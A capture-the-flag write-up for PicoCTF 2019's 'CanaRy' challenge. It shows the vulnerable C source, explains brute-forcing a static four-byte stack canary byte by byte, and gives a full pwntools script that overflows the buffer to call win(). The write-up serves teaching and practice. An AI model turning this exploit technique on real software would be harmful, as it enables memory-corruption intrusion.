Buffer Overflow - Bypassing a Static Canary
Summary
Exploiting a buffer overflow attack with a static canary.
Challenge
Description
Challenge : CanaRy
from PicoCTF 2019.
This time we added a canary to detect buffer overflows. Can you still find a way to retrieve the flag from this program.
Source code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76 | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 32
#define FLAGSIZE 64
#define CANARY_SIZE 4
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
puts(buf);
fflush(stdout);
}
char global_canary[CANARY_SIZE];
void read_canary() {
FILE *f = fopen("canary.txt","r");
if (f == NULL) {
printf("Canary is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fread(global_canary,sizeof(char),CANARY_SIZE,f);
fclose(f);
}
void vuln(){
char canary[CANARY_SIZE];
char buf[BUFSIZE];
char length[BUFSIZE];
int count;
int x = 0;
memcpy(canary,global_canary,CANARY_SIZE);
printf("How Many Bytes will You Write Into the Buffer?\n> ");
while (x<BUFSIZE) {
read(0,length+x,1);
if (length[x]=='\n') break;
x++;
}
sscanf(length,"%d",&count);
printf("Input> ");
read(0,buf,count);
if (memcmp(canary,global_canary,CANARY_SIZE)) {
printf("*** Stack Smashing Detected *** : Canary Value Corrupt!\n");
exit(-1);
}
printf("Ok... Now Where's the Flag?\n");
fflush(stdout);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
int i;
gid_t gid = getegid();
setresgid(gid, gid, gid);
read_canary();
vuln();
return 0;
}
|
Writeup
In the source code below, the canary is load from a text file and is only four bytes, #define CANARY_SIZE 4
.
So, we can bruteforce it. The good way to do it, it's by bruteforcing the canary one byte at a time.
Example
padding + 'a' : Stack Smashing Detected -> The canary is NOT starting by the letter 'a'.
padding + 'b' : Stack Smashing Detected -> The canary is NOT starting by the letter 'b'.
...
padding + 'o' : Ok... Now Where'''s the Flag? -> The canary is starting by the letter 'o'.
Then, you go on with : 'oa', 'ob', 'oc', ... until you get the four bytes.
Once you retrieve the whole canary, you now can jump to the win function.
Let's make a python script with pwntools to flag this challenge :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36 | #!/usr/bin/env python3
from string import printable
from pwn import process, p32, context, ELF
context.log_level = "error"
elf = ELF('./vuln')
win_func_addr = p32(elf.symbols['win'])
padding = 32 * "A"
def retrieve_canary():
canary = ""
for i in range(4):
for c in printable.replace("\n", ""):
p = process("./vuln")
p.sendlineafter("Buffer?\n> ", str(len(padding + canary + c)))
p.sendlineafter("Input> ", padding + canary + c)
data = p.recvline()
if not "Stack Smashing Detected" in data.decode("utf-8"):
canary += c
break
return canary
if __name__ == "__main__":
canary = retrieve_canary()
payload = (padding + canary + "A" * 16).encode() + win_func_addr
p = process("./vuln")
p.sendlineafter("Buffer?\n> ", str(len(payload)))
p.sendlineafter("Input> ", payload)
p.interactive()
|